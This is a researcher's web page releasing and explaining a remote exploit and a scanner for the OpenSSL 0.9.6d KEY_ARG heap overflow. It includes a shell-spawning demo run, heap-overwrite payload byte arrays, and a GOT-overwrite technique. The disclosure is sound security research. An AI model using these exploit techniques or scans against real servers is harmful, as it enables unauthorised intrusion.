Security Research

by Alexander Sotirov

Apache OpenSSL heap overflow exploit

CVE-2002-0656

openssl-too-open is a remote exploit for the KEY_ARG overflow in OpenSSL 0.9.6d and older. Tested against most major Linux distributions. Gives a remote nobody shell on Apache and remote root on other servers. Includes an OpenSSL vulnerability scanner and a detailed vulnerability analysis. Only Linux/x86 targets are supported.

Downloads

- openssl-too-open.tar.gz (PGP .sig)

Screenshot

```
$ ./openssl-too-open -h
: openssl-too-open : OpenSSL remote exploit
  by Solar Eclipse <solareclipse@phreedom.org>

Usage: ./openssl-too-open [options] <host>
  -a <arch>          target architecture (default is 0x00)
  -p <port>          SSL port (default is 443)
  -c <N>             open N apache connections before sending the shellcode (default is 30)
  -m <N>             maximum number of open connections (default is 50)
  -v                 verbose mode

Supported architectures:
        0x00 - Gentoo (apache-1.3.24-r2)
        0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
        0x02 - Slackware 7.0 (apache-1.3.26)
        0x03 - Slackware 8.1-stable (apache-1.3.26)
        0x04 - RedHat Linux 6.0 (apache-1.3.6-7)
        0x05 - RedHat Linux 6.1 (apache-1.3.9-4)
        0x06 - RedHat Linux 6.2 (apache-1.3.12-2)
        0x07 - RedHat Linux 7.0 (apache-1.3.12-25)
        0x08 - RedHat Linux 7.1 (apache-1.3.19-5)
        0x09 - RedHat Linux 7.2 (apache-1.3.20-16)
        0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)
        0x0b - RedHat Linux 7.3 (apache-1.3.23-11)
        0x0c - SuSE Linux 7.0 (apache-1.3.12)
        0x0d - SuSE Linux 7.1 (apache-1.3.17)
        0x0e - SuSE Linux 7.2 (apache-1.3.19)
        0x0f - SuSE Linux 7.3 (apache-1.3.20)
        0x10 - SuSE Linux 8.0 (apache-1.3.23-137)
        0x11 - SuSE Linux 8.0 (apache-1.3.23)
        0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)
        0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)
        0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)
        0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)

Examples: ./openssl-too-open -a 0x01 -v localhost
          ./openssl-too-open -p 1234 192.168.0.1 -c 40 -m 80


./openssl-too-open -a 0x14 192.168.0.1
: openssl-too-open : OpenSSL remote exploit
  by Solar Eclipse <solareclipse@phreedom.org>

: Opening 30 connections
  Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
```

Latest posts

Assured Exploitation 2011

You Should Work for Symantec

CSAW final challenge

CSAW reversing challenge

Darknet design

Archives

2011 | 2010 | 2009 | 2008

Follow

Twitter
Blog feed

Contact

alex@sotirov.net
PGP key

Meet me at

CanSecWest
Vancouver, Mar 9-11

Infiltrate
Miami Beach, Apr 16-17

```
  ssl0 : 0x810b3a0
  ssl1 : 0x810b360
  ssl2 : 0x810b4e0

* Addresses don't match.

: Opening 40 connections
  Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
  ssl0 : 0x8103830
  ssl1 : 0x80fd668
  ssl2 : 0x80fd668

* Addresses don't match.

: Opening 50 connections
  Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
  ssl0 : 0x8103830
  ssl1 : 0x8103830
  ssl2 : 0x8103830

: Sending shellcode
ciphers: 0x8103830   start_addr: 0x8103770   SHELLCODE_OFS: 184
  Reading tag
  Execution of stage1 shellcode succeeded, sending stage2
  Spawning shell...

bash: no job control in this shell
bash-2.05$
bash-2.05$ uname -a; id; w;
Linux localhost.localdomain 2.4.8-26mdk #1 Sun Sep 23 17:06:39 CEST 2001 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
  1:49pm  up  4:26,  1 user,  load average: 0.04, 0.07, 0.07
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
bash-2.05$
```

SSL2 handshake

It is important to understand the SSL2 handshake in order to successfully exploit the KEY_ARG vulnerability.

```
           Client           Server

        CLIENT_HELLO -->

                     <-- SERVER_HELLO

    CLIENT_MASTER_KEY -->

                     <-- SERVER_VERIFY

      CLIENT_FINISHED -->

                     <-- SERVER_FINISHED
```

The CLIENT_HELLO message contains a list of the ciphers the client supports, a session id and some challenge data. The session id is used if the client wishes to reuse an already established session, otherwise it's empty.

The server replies with a SERVER_HELLO message, also listing all supported ciphers and includes a certificate with its public RSA key. The server also sends a connection id, which will later be used by the client to verify that the encryption works.

The client generates a random master key, encrypts it with the server's public key and sends it with a CLIENT_MASTER_KEY message. This message also specifies the cipher selected by the client and a KEY_ARG field, which meaning depends on the specified cipher. For DES-CBC ciphers, the KEY_ARG contains the initialization vector.

Now both the client and the server have the master key and they can generate the session keys from it. All messages from this point on are encrypted.

The server replies with a SERVER_VERIFY message, containing the challenge data from the CLIENT_HELLO message. If the key exchange has been successful, the client will be able to decrypt this message and the challenge data returned from the server will match the challenge data sent by the client.

The client sends a CLIENT_FINISHED message with a copy of the connection id from the SERVER_HELLO packet. It is now the server's turn to decrypt this message and check if the connection id returned by the client matches the connection it sent by the server.

Finally the server sends a SERVER_FINISHED message, completing the handshake. This message contains a session id, generated by the server. If the client wishes to reuse the session later, it can send this session id with the CLIENT_HELLO message.

The KEY_ARG buffer overflow

The bug is in ssl/s2_srvr.c, in the get_client_master_key() function. This function reads a CLIENT_MASTER_KEY packet and processes it. It reads the KEY_ARG_LENGTH value from the client and then copies that many bytes in an array of a fixed size. This array is part of the SSL_SESSION structure. If the client specifies a KEY_ARG longer than 8 bytes, the variables in the SSL_SESSION structure can be overwritten with user supplied data.

Let's look at the definition of this structure.

```
typedef struct ssl_session_st
    {
    int ssl_version;    /* what ssl version session info is
                         * being kept in here? */

    /* only really used in SSLv2 */
    unsigned int key_arg_length;
    unsigned char key_arg[SSL_MAX_KEY_ARG_LENGTH];
    int master_key_length;
    unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH];
    /* session_id - valid? */
    unsigned int session_id_length;
    unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH];
    /* this is used to determine whether the session is being reused in
     * the appropriate context. It is up to the application to set this,
     * via SSL_new */
    unsigned int sid_ctx_length;
    unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH];

    int not_resumable;

    /* The cert is the certificate used to establish this connection */
    struct sess_cert_st /* SESS_CERT */ *sess_cert;

    /* This is the cert for the other end.
     * On clients, it will be the same as sess_cert->peer_key->x509
     * (the latter is not enough as sess_cert is not retained
     * in the external representation of sessions, see ssl_asn1.c). */
    X509 *peer;
    /* when app_verify_callback accepts a session where the peer's certificate
     * is not ok, we must remember the error for session reuse: */
    long verify_result; /* only for servers */

    int references;
    long timeout;
    long time;

    int compress_meth;      /* Need to lookup the method */

    SSL_CIPHER *cipher;
    unsigned long cipher_id;    /* when ASN.1 loaded, this
                                 * needs to be used to load
                                 * the 'cipher' structure */

    STACK_OF(SSL_CIPHER) *ciphers; /* shared ciphers? */

    CRYPTO_EX_DATA ex_data; /* application specific data */

    /* These are used to make removal of session-ids more
     * efficient and to implement a maximum cache size. */
    struct ssl_session_st *prev,*next;
    } SSL_SESSION;
```

It really looks better with syntax coloring. Anyway, we know the size of the structure and it's allocated on the heap. The first thing that comes to mind is to overwrite the next malloc chunk and then make the OpenSSL code call free() on the SSL_SESSION structure.

After we send a CLIENT_MASTER_KEY message, we'll read a SERVER_VERIFY packet from the server and then we'll respond with a CLIENT_FINISHED message. The server uses this the contents of this message to verify that the key exchange succeeded. If we return a wrong connection id, the server will abort the connection and free the SSL_SESSION structure, which is exactly what we want.

We'll overwrite the KEY_ARG array with 8 random bytes and the following string:

```
unsigned char overwrite_next_chunk[] =
    "AAAA"                              /* int master_key_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                        /* unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH]; */
    "AAAA"                              /* unsigned int session_id_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH]; */
    "AAAA"                              /* unsigned int sid_ctx_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH]; */
    "AAAA"                              /* unsigned int sid_ctx_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  /* unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH]; */
    "AAAA"                              /* int not_resumable; */
    "\x00\x00\x00\x00"                  /* struct sess_cert_st *sess_cert; */
    "\x00\x00\x00\x00"                  /* X509 *peer; */
    "AAAA"                              /* long verify_result; */
    "\x01\x00\x00\x00"                  /* int references; */
    "AAAA"                              /* int timeout; */
    "AAAA"                              /* int time */
    "AAAA"                              /* int compress_meth; */
    "\x00\x00\x00\x00"                  /* SSL_CIPHER *cipher; */
    "AAAA"                              /* unsigned long cipher_id; */
    "\x00\x00\x00\x00"                  /* STACK_OF(SSL_CIPHER) *ciphers; */
    "\x00\x00\x00\x00\x00\x00\x00\x00"  /* CRYPTO_EX_DATA ex_data; */
    "AAAAAAAA"                          /* struct ssl_session_st *prev,*next; */
    "\x00\x00\x00\x00"                  /* Size of previous chunk */
    "\x11\x00\x00\x00"                  /* Size of chunk, in bytes */
    "fdfd"                              /* Forward and back pointers */
    "bkbk"
    "\x10\x00\x00\x00"                  /* Size of previous chunk */
    "\x10\x00\x00\x00"                  /* Size of chunk, PREV_INUSE is set */
```

The "A" bytes don't affect the OpenSSL control flow. The other bytes must be set to specific values to make the exploit work. For example, the peer and sess_cert pointers must be NULL, because the SSL cleanup code will call free() on them before it frees the SSL_SESSION structure.

The free() call will write the value of the bk pointer to the memory address in the fd pointer + 12 bytes. We'll put our shellcode address in the bk pointer and we'll write it to the free() entry in the GOT table.

Getting the shellcode address

There is only one little problem. We need a place to put our shellcode and we need the exact shellcode address. The trick is to use the SERVER_FINISHED message. This message includes the session id, which is read from the SSL_SESSION structure. The server reads session_id_length bytes from the session_id[] array and sends them to the client. We can overwrite the session_id_length variable and complete the handshake. If session_id_length is long enough, the SERVER_FINISHED message will include the contents of the SSL_SESSION structure.

To get the contents of the session structure, we'll overwrite the KEY_ARG array with 8 random bytes and the following string:

```
unsigned char overwrite_session_id_length[] =
    "AAAA"                              /* int master_key_length; */
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                        /* unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH]; */
    "\x70\x00\x00\x00";                 /* unsigned int session_id_length; */
```

Now let's imagine the heap state when we send our connection request. We have a heap, which contains some allocated chunks of memory and a large 'top' chunk, covering all free memory.

When the server receives the connection, it forks a child and the child allocates the SSL_SESSION structure. If there has not been a signifficant malloc/free activity, the fragmentation of the memory will be low and the new chunk will be allocated from the beginning of the 'top' chunk.

The next allocated chunk is a 16 bytes chunk which holds a STACK_OF(SSL_CIPHER) structure. This chunk is also allocated from the beginning of the 'top' chunk, so it's located right above the SSL_SESSION structure. The address of this chunk is stored in the session->ciphers variable.

If we're lucky, the memory would look like this:

```
                    | top chunk |
                    |-----------|
session->ciphers    |  16 bytes |  <- STACK_OF(SSL_CIPHER) structure
points here      -> |-----------|
                    | 368 bytes |  <- SSL_SESSION structure
                    |-----------|
```

We can read the session->ciphers pointer from the SSL_SESSION structure in the SERVER_FINISHED message. By subtracting 368 from it, we'll get the address of the SSL_SESSION structure, and thus the address of the data we've overwritten.

fork() is your friend

We'll use the same buffer overflow to get the address of the shellcode and to overwrite the malloc chunks. The problem is that we need to know the shellcode address before we send it to the server.

The only solution is to send 2 requests. The first request overwrites session_id_length and we complete the handshake to get the SERVER_FINISHED message. Then we adjust our shellcode and open a second connection which we use to send it.

If we're dealing with a forking server like Apache, the two children will have an identical memory layout and malloc() will put the session structure at the same address. Of course, life is never that simple. Apache children can handle multiple requests, which would change the memory allocation pattern of the two children we use.

To guarantee that both children are freshly spawned, our exploit will open a number of connections to the server before sending the two important requests. These connection should use up all available Apache children and force new ones to be spawned.

If the server traffic is high, the exploit might fail. If the memory allocation patterns are different, the exploit might fail. If you have a wrong GOT address, the exploit will definitely fail.

openssl-scanner

```
$ ./openssl-scanner -h
: openssl-scanner : OpenSSL vulnerability scanner
  by Solar Eclipse <solareclipse@phreedom.org&gt;

Usage: ./openssl-scanner [options] <host&gt;
  -i <inputfile&gt;     file with target hosts
  -o <outputfile&gt;    output log
  -a                 append to output log (requires -o)
  -b                 check for big endian servers
  -C                 scan the entire class C network the host belogs to
  -d                 debug mode
  -w N               connection timeout in seconds

Examples: ./openssl-scanner -d 192.168.0.1
          ./openssl-scanner -i hosts -o my.log -w 5


$ ./openssl-scanner -C 192.168.0.0
: openssl-scanner : OpenSSL vulnerability scanner
  by Solar Eclipse <solareclipse@phreedom.org&gt;

Opening 255 connections . . . . . done
Waiting for all connections to finish . . . . . done

192.168.0.136: Vulnerable
```

openssl-scanner overflows the master_key_length, master_key[] and session_id_length variables in the SSL_SESSION structure. The first two are uninitialized at this point, so overwriting them has no effect on openssl. The first place where the session_id_length variable is used after we overwrite it is in session_finish() (ssl/s2_srvr.c:847)

```
memcpy(p,s->session->session_id, (unsigned int)s->session->session_id_length);
```

This data is returned in the SERVER_FINISHED packet. openssl-scanner checks the length of the data. If it matches the value we set session_id_length to, then the server is exploitable.

OpenSSL 0.9.6e and higher versions return

```
192.160.0.2: Server error: SSL2_PE_UNDEFINED_ERROR (0x00) after KEY_ARG data was sent. Server is not vulnerable.
```

The updates that most vendors have put out backport the changes from 0.9.6e to 0.9.6b or some other version of OpenSSL. They don't return an error like 0.9.6e. The updated RedHat and Debian packages) would close the connection immediatelly after they receive the oversized KEY_ARG data, causing openssl-scanner to report

```
192.168.0.1: Connection closed after KEY_ARG data was sent. Server is most likely not vulnerable.
```

IIS servers exhibit the same behavior.

IIS servers that don't have a certificate set up close the connection as soon as they receive the CLIENT_HELLO packet. openssl-scanner reports this as

```
192.168.0.2: Connection unexpectedly closed
```